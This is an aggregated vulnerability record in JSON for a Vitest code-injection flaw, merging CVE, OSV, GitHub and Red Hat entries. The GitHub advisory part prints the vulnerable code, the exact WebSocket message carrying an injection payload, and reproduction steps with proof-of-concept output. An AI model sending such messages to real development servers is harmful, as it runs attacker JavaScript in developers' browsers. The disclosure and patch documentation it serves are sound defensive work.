{"id":"CVE-2026-112949","aliases":["CLSA-2026-1793114894","CLSA-2026-1793115217","CLSA-2026-1793811643","DHI-hceh-5yum-5ojb-ax5r","GHSA-qxg6-89mg-rqv8"],"summary":"Vitest: Code injection via unauthenticated manual mock registration","published_at":"2026-10-20T15:19:03.799Z","modified_at":"2026-11-20T02:01:06.75338Z","products":[{"slug":"rhel","name":"Red Hat Enterprise Linux","category":"red-hat"}],"rating":{"severity":"medium","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","attack_path":"internet_unauthenticated","user_interaction":true,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.0033599999733269215,"percentile":0.2756499946117401,"date":"2026-11-19T00:00:00Z"},"priority":6.2,"details":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","affected_stack":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-112949","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-112949","relation":"self"}],"affected_other":[{"ecosystem":"CVE","package":"@vitest/mocker","versions":[">= 2.1.0-beta.7, < 4.1.12",">= 5.0.0, < 5.0.3"],"provider":"cvelistv5","source":"CVE-2026-112949","relation":"self"},{"ecosystem":"CVE","package":"vitest-dev/vitest","versions":[">= 2.1.0-beta.7, < 4.1.12",">= 5.0.0, < 5.0.3"],"provider":"cvelistv5","source":"CVE-2026-112949","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-0","purl":"pkg:apk/dhi/llama-cpp-0","versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-0","purl":"pkg:deb/dhi/llama-cpp-0","versions":["0.6.0-0","0.7.0-0","0.7.0-1","0.7.0-2","0.7.0-3","0.7.0-4","0.7.0-5","0.7.0-6","0.7.0-7","0.8.0-0","0.8.0-1","0.9.0-0","0.9.0-1","0.9.0-2","0.9.0-3","0.9.0-4"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"TuxCare:npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.4-tuxcare.0"},{"fixed":"3.2.4-tuxcare.5"}]}],"versions":["3.2.4","3.2.4-tuxcare.1","3.2.4-tuxcare.2","3.2.4-tuxcare.3","3.2.4-tuxcare.4"],"fixed":["3.2.4-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793114894","relation":"self"},{"ecosystem":"TuxCare:npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.5"}]}],"versions":["4.0.18","4.0.18-tuxcare.1","4.0.18-tuxcare.2","4.0.18-tuxcare.3","4.0.18-tuxcare.4"],"fixed":["4.0.18-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793115217","relation":"self"},{"ecosystem":"TuxCare:npm","package":"vitest","purl":"pkg:npm/vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.9-tuxcare.0"},{"fixed":"2.1.9-tuxcare.2"}]}],"versions":["2.1.9","2.1.9-tuxcare.1"],"fixed":["2.1.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793811643","relation":"self"},{"ecosystem":"npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-beta.1"},{"fixed":"5.0.3"}]}],"fixed":["5.0.3"],"provider":"osv","source":"GHSA-qxg6-89mg-rqv8","relation":"self"},{"ecosystem":"npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0-beta.7"},{"fixed":"4.1.12"}]}],"fixed":["4.1.12"],"provider":"osv","source":"GHSA-qxg6-89mg-rqv8","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"affected","packages":["amq-broker-bin.zip","amq-broker-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Build of Keycloak","cpe":"cpe:/a:redhat:build_keycloak:","status":"affected","packages":["keycloak-operator.redhat-00001.zip","keycloak-operator.redhat-00003.zip","rhbk-quarkus-dist.zip"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Build of Podman Desktop","cpe":"cpe:/a:redhat:podman_desktop:1","status":"affected","packages":["rh-podman-desktop"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Hardened Images","cpe":"cpe:/a:redhat:hummingbird:1","status":"not_affected","packages":["grafana13.2","prometheus3.13"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Trusted Artifact Signer","cpe":"cpe:/a:redhat:trusted_artifact_signer:1","status":"affected","packages":["rhtas/rhtas-console-ui-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-112949","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-112949","license":"CC-BY-4.0","published_at":"2026-10-20T15:19:03.799Z","modified_at":"2026-10-23T01:42:51.858Z","summary":"Vitest: Code injection via unauthenticated manual mock registration","details":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"CVE-2026-112949"}],"affected":[{"ecosystem":"CVE","package":"@vitest/mocker","versions":[">= 2.1.0-beta.7, < 4.1.12",">= 5.0.0, < 5.0.3"],"provider":"cvelistv5","source":"CVE-2026-112949","relation":"self"},{"ecosystem":"CVE","package":"vitest-dev/vitest","versions":[">= 2.1.0-beta.7, < 4.1.12",">= 5.0.0, < 5.0.3"],"provider":"cvelistv5","source":"CVE-2026-112949","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"}]},{"provider":"osv","source_id":"CLSA-2026-1793114894","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1793114894","published_at":"2026-10-27T15:28:14Z","modified_at":"2026-10-27T19:30:06.637715Z","summary":"TuxCare security update for @vitest/mocker (1 CVE)","details":"TuxCare rebuilt @vitest/mocker to address 1 CVE. Fixed in 3.2.4-tuxcare.5.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.4-tuxcare.0"},{"fixed":"3.2.4-tuxcare.5"}]}],"versions":["3.2.4","3.2.4-tuxcare.1","3.2.4-tuxcare.2","3.2.4-tuxcare.3","3.2.4-tuxcare.4"],"fixed":["3.2.4-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793114894","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793115217","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1793115217","published_at":"2026-10-27T15:33:37Z","modified_at":"2026-10-27T19:30:07.245954Z","summary":"TuxCare security update for @vitest/mocker (1 CVE)","details":"TuxCare rebuilt @vitest/mocker to address 1 CVE. Fixed in 4.0.18-tuxcare.5.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.5"}]}],"versions":["4.0.18","4.0.18-tuxcare.1","4.0.18-tuxcare.2","4.0.18-tuxcare.3","4.0.18-tuxcare.4"],"fixed":["4.0.18-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793115217","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793811643","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1793811643","published_at":"2026-11-04T18:00:44Z","modified_at":"2026-11-04T19:00:40.10006Z","summary":"TuxCare security update for vitest (1 CVE)","details":"TuxCare rebuilt vitest to address 1 CVE. Fixed in 2.1.9-tuxcare.2.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"vitest","purl":"pkg:npm/vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.9-tuxcare.0"},{"fixed":"2.1.9-tuxcare.2"}]}],"versions":["2.1.9","2.1.9-tuxcare.1"],"fixed":["2.1.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793811643","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DHI-hceh-5yum-5ojb-ax5r","relation":"self","url":"https://osv.dev/vulnerability/DHI-hceh-5yum-5ojb-ax5r","license":"Apache-2.0","published_at":"2026-11-11T18:53:03Z","modified_at":"2026-11-20T02:01:06.75338Z","summary":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and…","details":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"DHI-hceh-5yum-5ojb-ax5r"}],"affected":[{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-0","purl":"pkg:apk/dhi/llama-cpp-0","versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-0","purl":"pkg:deb/dhi/llama-cpp-0","versions":["0.6.0-0","0.7.0-0","0.7.0-1","0.7.0-2","0.7.0-3","0.7.0-4","0.7.0-5","0.7.0-6","0.7.0-7","0.8.0-0","0.8.0-1","0.9.0-0","0.9.0-1","0.9.0-2","0.9.0-3","0.9.0-4"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-18","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9","18.11.10-0","18.11.10-1","18.11.10-2","18.11.10-3"],"provider":"osv","source":"DHI-hceh-5yum-5ojb-ax5r","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-hceh-5yum-5ojb-ax5r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"ADVISORY","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"FIX","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"FIX","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-112949"},{"type":"FIX","url":"https://www.cve.org/CVERecord?id=CVE-2026-112949"}]},{"provider":"osv","source_id":"GHSA-qxg6-89mg-rqv8","relation":"self","url":"https://osv.dev/vulnerability/GHSA-qxg6-89mg-rqv8","license":"CC-BY-4.0","published_at":"2026-10-21T19:54:26Z","modified_at":"2026-10-21T20:01:39.911013Z","summary":"Vitest: Code injection via unauthenticated manual mock registration","details":"### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {\n    if (event.type === 'manual') {\n      const module = ManualMockedModule.fromJSON(event, async () => {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key => [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest && cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install && pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"<abs path of a served module>\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"<same url>\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) => {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** — the two `Origin` probes record the boundary honestly.\n* Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"GHSA-qxg6-89mg-rqv8"}],"affected":[{"ecosystem":"npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-beta.1"},{"fixed":"5.0.3"}]}],"fixed":["5.0.3"],"provider":"osv","source":"GHSA-qxg6-89mg-rqv8","relation":"self"},{"ecosystem":"npm","package":"@vitest/mocker","purl":"pkg:npm/%40vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0-beta.7"},{"fixed":"4.1.12"}]}],"fixed":["4.1.12"],"provider":"osv","source":"GHSA-qxg6-89mg-rqv8","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"PACKAGE","url":"https://github.com/vitest-dev/vitest"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"}]},{"provider":"redhat-vex","source_id":"CVE-2026-112949","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-112949","license":"CC-BY-4.0","published_at":"2026-10-20T15:19:03.799Z","modified_at":"2026-10-29T16:54:32Z","summary":"vitest: Vitest: Cross-site scripting via unescaped mock module URL","details":"A flaw was found in Vitest. An unauthenticated attacker able to connect to the development server can achieve cross-site scripting (XSS) by registering a crafted mock module with an unescaped URL. When a developer loads the affected module in their browser, attacker-controlled JavaScript executes within the context of the development server origin.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"CVE-2026-112949"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-112949"}],"affected":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-112949","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-112949","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"affected","packages":["amq-broker-bin.zip","amq-broker-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat 